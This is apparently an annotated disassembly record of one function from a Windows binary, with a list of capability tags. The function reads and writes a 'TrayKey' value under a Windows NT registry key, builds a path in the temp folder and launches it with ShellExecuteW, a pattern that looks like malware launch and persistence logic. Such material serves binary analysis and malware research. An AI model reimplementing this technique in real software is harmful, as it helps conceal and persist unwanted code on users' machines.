Function at 0x401677
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x2fc], ax
xor esi, esi
lea eax, [ebp - 0x2fa]
push esi
push eax
call fcn.00409600
add esp, 0xc
xor eax, eax
push 9
mov word [ebp - 0x2c], ax
pop ecx
lea edi, [ebp - 0x2a]
rep stosd dword es:[edi], eax
mov ebx, 0x41cca8
mov ecx, ebx
stosw word es:[edi], ax
mov dword [ebp - 0x300], esi
mov dword [ebp - 0x304], 0x104
lea edx, [ecx + 2]
xor edi, edi
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x4016d9
mov esi, dword [sym.imp.KERNEL32.dll_OpenEventW]
sub ecx, edx
sar ecx, 1
je 0x401701
push ebx
push edi
push 0x20000
call esi
test eax, eax
jne 0x4018d5
lea eax, [ebp - 0x308]
push eax
push 0xf003f
push edi
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x401775
lea eax, [ebp - 0x304]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x300]
push eax
push edi
push str.TrayKey
push dword [ebp - 0x308]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40176d
lea eax, [ebp - 0x2c]
push eax
push edi
push 0x20000
call esi
test eax, eax
je 0x40176d
push dword [ebp - 0x308]
call ebx
jmp 0x4018d5
push dword [ebp - 0x308]
call ebx
lea eax, [ebp - 0x2fc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x41cca8
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x401791
sub ecx, edx
sar ecx, 1
jne 0x4017d2
push str.opert
push 0x418958
mov esi, 0x41c1a0
push esi
call fcn.00401bc8
add esp, 0xc
mov ecx, edi
movzx eax, word [ecx + str.opert]
mov word [ebp + ecx - 0x2c], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4017bc
jmp 0x4017fc
push esi
push 0x418958
mov esi, 0x41c1a0
push esi
call fcn.00401bc8
add esp, 0xc
mov ecx, edi
movzx eax, word [ecx + 0x41cca8]
mov word [ebp + ecx - 0x2c], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4017e8
push esi
lea eax, [ebp - 0x2fc]
push 0x104
push eax
call fcn.00405bb5
add esp, 0xc
cmp dword [0x41af08], 3
mov edx, 0x2b66
je 0x401822
add edx, 0xa
call fcn.00401543
test eax, eax
jne 0x4018d5
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push edi
push 0x41884c
lea eax, [ebp - 0x2fc]
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1a
pop ecx
mov esi, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
lea edi, [ebp - 0xf4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x5e
xor esi, esi
lea eax, [ebp - 0x8a]
push esi
push eax
call fcn.00409600
add esp, 0xc
lea eax, [ebp - 0x308]
push eax
push 3
push esi
lea eax, [ebp - 0xf4]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4018d5
lea ecx, [ebp - 0x2c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x40189a
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x2c]
push eax
push 1
push esi
push str.TrayKey
push dword [ebp - 0x308]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4018d5
push dword [ebp - 0x308]
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00405a14
leave
ret